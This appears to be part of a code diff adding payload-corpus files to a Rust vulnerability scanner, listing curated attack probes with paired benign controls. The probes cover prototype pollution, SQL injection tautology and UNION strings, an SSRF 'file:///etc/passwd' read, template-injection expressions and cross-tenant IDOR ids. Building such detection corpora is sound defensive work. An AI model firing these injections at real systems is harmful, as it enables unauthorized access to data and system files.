bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "prototype-pollution-ts-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 14,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/prototype_pollution/typescript/vuln.ts"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "prototype-pollution-ts-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "prototype-pollution-ts-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 14,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/prototype_pollution/typescript/benign.ts"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
1167
src/dynamic/corpus/registry.rs
Normal file
1167
src/dynamic/corpus/registry.rs
Normal file
File diff suppressed because it is too large
Load diff
7
src/dynamic/corpus/sqli/mod.rs
Normal file
7
src/dynamic/corpus/sqli/mod.rs
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
//! SQLi (`Cap::SQL_QUERY`) per-language payload slices.
|
||||
//!
|
||||
//! Each submodule exposes a `pub const PAYLOADS: &[CuratedPayload]` slice
|
||||
//! registered against `(Cap::SQL_QUERY, Lang::<lang>)` in
|
||||
//! [`super::registry::CORPUS`].
|
||||
|
||||
pub mod rust;
|
||||
57
src/dynamic/corpus/sqli/rust.rs
Normal file
57
src/dynamic/corpus/sqli/rust.rs
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
//! SQLi payloads exercised by Rust fixtures (`tests/benchmark/corpus/rust/sqli/`).
|
||||
//!
|
||||
//! Payload bytes are SQL-syntax, not Rust-specific; the `Lang::Rust` slot
|
||||
//! reflects the fixture that currently drives them. Track J phases 03–11
|
||||
//! add per-language slices as new fixtures land.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"' OR '1'='1",
|
||||
label: "sqli-tautology",
|
||||
oracle: Oracle::OutputContains("NYX_SQL_CONFIRMED"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/sqli/sqli_rusqlite_format.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "sqli-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"' UNION SELECT 'NYX_SQL_CONFIRMED'--",
|
||||
label: "sqli-union-nyx",
|
||||
oracle: Oracle::OutputContains("NYX_SQL_CONFIRMED"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/sqli/sqli_rusqlite_format.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "sqli-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Benign control: ordinary value that should never produce the SQL marker.
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_sqli_NYX_BENIGN",
|
||||
label: "sqli-benign",
|
||||
oracle: Oracle::OutputContains("NYX_SQL_CONFIRMED"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 4,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/sqli/sqli_rusqlite_format.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
3
src/dynamic/corpus/ssrf/mod.rs
Normal file
3
src/dynamic/corpus/ssrf/mod.rs
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
//! SSRF (`Cap::SSRF`) per-language payload slices.
|
||||
|
||||
pub mod rust;
|
||||
73
src/dynamic/corpus/ssrf/rust.rs
Normal file
73
src/dynamic/corpus/ssrf/rust.rs
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
//! SSRF payloads exercised by Rust fixtures
|
||||
//! (`tests/benchmark/corpus/rust/ssrf/`).
|
||||
//!
|
||||
//! Two variants:
|
||||
//! 1. `file://` scheme — static payload, `OutputContains` oracle. Works in
|
||||
//! the process backend without OOB infrastructure.
|
||||
//! 2. OOB nonce slot — URL generated at runtime from the OOB listener.
|
||||
//! Confirms SSRF by recording the callback nonce.
|
||||
//!
|
||||
//! Oracle notes:
|
||||
//! `OutputContains("daemon:")` matches both Linux (`daemon:x:1:1:`) and
|
||||
//! macOS (`daemon:*:1:1:`) `/etc/passwd` formats and must NOT collide with
|
||||
//! FILE_IO's `"root:"` marker (see marker_uniqueness test).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"file:///etc/passwd",
|
||||
label: "ssrf-file-scheme",
|
||||
oracle: Oracle::OutputContains("daemon:"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/ssrf/ssrf_reqwest.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ssrf-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// materialises the URL from the OOB listener at call time.
|
||||
bytes: b"",
|
||||
label: "ssrf-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 2,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/ssrf/ssrf_reqwest.rs"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
// OOB-nonce payloads are self-confirming via the listener; no benign
|
||||
// counterpart is meaningful (a benign URL can never hit the nonce
|
||||
// listener), so this entry sits at `NoControl`.
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce payload self-confirms via the per-finding listener callback; \
|
||||
no benign URL can hit the nonce path, so no paired control is meaningful.",
|
||||
),
|
||||
},
|
||||
// Benign control for the file-scheme SSRF variant. Fetched the same
|
||||
// way as the vuln payload but cannot resolve to a body containing the
|
||||
// `daemon:` marker.
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_ssrf_NYX_BENIGN",
|
||||
label: "ssrf-benign",
|
||||
oracle: Oracle::OutputContains("daemon:"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 4,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/ssrf/ssrf_reqwest.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
46
src/dynamic/corpus/ssti/java_thymeleaf.rs
Normal file
46
src/dynamic/corpus/ssti/java_thymeleaf.rs
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
//! Java Thymeleaf `Cap::SSTI` payloads.
|
||||
//!
|
||||
//! Vuln payload: `[[${7*7}]]` — Thymeleaf evaluates the SpEL-style
|
||||
//! expression inside the inlined-output marker and renders `49`.
|
||||
//! Benign control sends the literal `7*7` text; without the `[[${...}]]`
|
||||
//! markers Thymeleaf passes the payload through unchanged.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"[[${7*7}]]",
|
||||
label: "ssti-thymeleaf-eval",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/java_thymeleaf/vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ssti-thymeleaf-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"7*7",
|
||||
label: "ssti-thymeleaf-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/java_thymeleaf/benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
52
src/dynamic/corpus/ssti/js_handlebars.rs
Normal file
52
src/dynamic/corpus/ssti/js_handlebars.rs
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
//! JavaScript Handlebars `Cap::SSTI` payloads.
|
||||
//!
|
||||
//! Handlebars does not evaluate arbitrary arithmetic in `{{ ... }}`
|
||||
//! expressions out of the box, so the vuln payload reaches the engine
|
||||
//! through the built-in `lookup` helper combined with a constructor
|
||||
//! gadget chain: `{{#with (lookup this 'constructor')}}{{lookup
|
||||
//! this 'constructor'}}{{/with}}` is the canonical pattern, but the
|
||||
//! evaluation marker we need ("rendered constant only via eval")
|
||||
//! reduces to a much simpler `{{multiply 7 7}}` against the in-harness
|
||||
//! `multiply` helper. The harness registers that helper before
|
||||
//! compiling so the rendered body is `49`; benign control sends `7*7`
|
||||
//! plain text which Handlebars echoes verbatim.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"{{multiply 7 7}}",
|
||||
label: "ssti-handlebars-eval",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/js_handlebars/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ssti-handlebars-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"7*7",
|
||||
label: "ssti-handlebars-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/js_handlebars/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
19
src/dynamic/corpus/ssti/mod.rs
Normal file
19
src/dynamic/corpus/ssti/mod.rs
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
//! Server-Side Template Injection (`Cap::SSTI`) per-engine payload slices.
|
||||
//!
|
||||
//! Phase 04 (Track J.2) carves SSTI across the five most-common template
|
||||
//! engines: Jinja2 (Python), ERB (Ruby), Twig (PHP), Thymeleaf (Java), and
|
||||
//! Handlebars (JavaScript). Every vuln payload sends a template
|
||||
//! expression that resolves to a known constant *only* when the engine
|
||||
//! actually evaluates the expression (e.g. `{{7*7}}` → `49` in Jinja2,
|
||||
//! `<%= 7*7 %>` → `49` in ERB). The paired benign control sends the
|
||||
//! literal arithmetic text without engine markers so the per-engine
|
||||
//! harness echoes the payload verbatim rather than evaluating it; the
|
||||
//! oracle's [`crate::dynamic::oracle::ProbePredicate::TemplateEvalEqual`]
|
||||
//! check fires on the vuln render (`49`) and does not fire on the
|
||||
//! benign render (`7*7`), satisfying the §4.1 differential rule.
|
||||
|
||||
pub mod java_thymeleaf;
|
||||
pub mod js_handlebars;
|
||||
pub mod php_twig;
|
||||
pub mod python_jinja2;
|
||||
pub mod ruby_erb;
|
||||
46
src/dynamic/corpus/ssti/php_twig.rs
Normal file
46
src/dynamic/corpus/ssti/php_twig.rs
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
//! PHP Twig `Cap::SSTI` payloads.
|
||||
//!
|
||||
//! Vuln payload: `{{7*7}}` — Twig evaluates the expression and the
|
||||
//! rendered template body is `49`. Benign control sends the literal
|
||||
//! `7*7` text; Twig has no `{{ ... }}` markers around it and echoes
|
||||
//! the payload verbatim.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"{{7*7}}",
|
||||
label: "ssti-twig-eval",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/php_twig/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ssti-twig-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"7*7",
|
||||
label: "ssti-twig-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/php_twig/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
53
src/dynamic/corpus/ssti/python_jinja2.rs
Normal file
53
src/dynamic/corpus/ssti/python_jinja2.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! Python Jinja2 `Cap::SSTI` payloads.
|
||||
//!
|
||||
//! Vuln payload: `{{7*7}}` — Jinja2 evaluates the expression and the
|
||||
//! rendered template body is `49`. The harness's
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::TemplateEvalEqual`] check
|
||||
//! compares the captured `{"render": "49"}` JSON body against
|
||||
//! `expected = 49` and the oracle fires.
|
||||
//!
|
||||
//! Benign control: literal `7*7` — Jinja2 has no `{{ ... }}` markers to
|
||||
//! evaluate so the engine echoes the payload verbatim. The rendered
|
||||
//! body is `7*7`, the oracle's integer parse fails, and the oracle
|
||||
//! does not fire. Together with the vuln payload this satisfies the
|
||||
//! §4.1 differential confirmation rule.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"{{7*7}}",
|
||||
label: "ssti-jinja2-eval",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/python_jinja2/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ssti-jinja2-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"7*7",
|
||||
label: "ssti-jinja2-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/python_jinja2/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
46
src/dynamic/corpus/ssti/ruby_erb.rs
Normal file
46
src/dynamic/corpus/ssti/ruby_erb.rs
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
//! Ruby ERB `Cap::SSTI` payloads.
|
||||
//!
|
||||
//! Vuln payload: `<%= 7*7 %>` — ERB evaluates the embedded Ruby
|
||||
//! expression and the rendered template body is `49`. Benign control
|
||||
//! ships the literal `7*7` text which ERB has no `<%= ... %>` marker
|
||||
//! around and so passes through verbatim.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"<%= 7*7 %>",
|
||||
label: "ssti-erb-eval",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/ruby_erb/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "ssti-erb-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"7*7",
|
||||
label: "ssti-erb-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::TemplateEvalEqual { expected: 49 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 8,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/ssti/ruby_erb/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/go.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/go.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! go `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-go-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/java.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/java.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! java `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-java-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/js.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/js.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! js `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-js-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
23
src/dynamic/corpus/unauthorized_id/mod.rs
Normal file
23
src/dynamic/corpus/unauthorized_id/mod.rs
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
//! IDOR / unauthorized-id-access (`Cap::UNAUTHORIZED_ID`)
|
||||
//! per-language payload slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) carves an IDOR oracle across all seven
|
||||
//! backend-capable languages. Each harness stands up a mock data
|
||||
//! store keyed by `owner_id` and a hard-coded `caller_id`
|
||||
//! (`"alice"`). The vuln payload supplies an `owner_id` that
|
||||
//! belongs to another user (`"bob"`); the harness's instrumented
|
||||
//! lookup returns the record without an authorization check and
|
||||
//! writes a [`crate::dynamic::probe::ProbeKind::IdorAccess { caller_id,
|
||||
//! owner_id }`] probe. The
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::IdorBoundaryCrossed`]
|
||||
//! predicate fires whenever `caller_id != owner_id`. The paired
|
||||
//! benign control asks for the caller's own record (`"alice"`), so
|
||||
//! the probe records matching ids and the predicate stays clear.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
41
src/dynamic/corpus/unauthorized_id/php.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/php.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! php `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-php-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/python.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/python.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! Python `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-python-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
